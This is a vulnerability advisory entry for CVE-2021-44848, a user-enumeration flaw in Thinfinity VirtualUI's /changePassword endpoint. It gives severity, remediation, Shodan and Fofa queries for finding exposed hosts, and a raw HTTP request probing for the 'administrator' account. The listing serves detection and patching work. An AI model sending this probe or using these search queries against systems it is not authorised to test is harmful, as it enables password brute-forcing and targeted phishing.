| Title | Thinfinity VirtualUI User Enumeration |
|---|---|
| Author | danielmofer |
| Severity | Medium |
| Impact | An attacker can use the gathered usernames for further attacks, such as brute-forcing passwords or launching targeted phishing campaigns. |
| Remediation | Apply the vendor-supplied patch or upgrade to the latest version of Thinfinity VirtualUI to mitigate the user enumeration vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.30193 |
| CVE ID | CVE-2021-44848 |
| CWE ID | CWE-203 |
| Shodan Query | http.title:"thinfinity virtualui" |
| Fofa Query | title="thinfinity virtualui" |
| Tags | cve2021 cve exposure thinfinity packetstorm virtualui tenable cybelesoft vuln |
Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)
GET /changePassword?username=administrator HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44848.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-44848.pcap
N/AN/A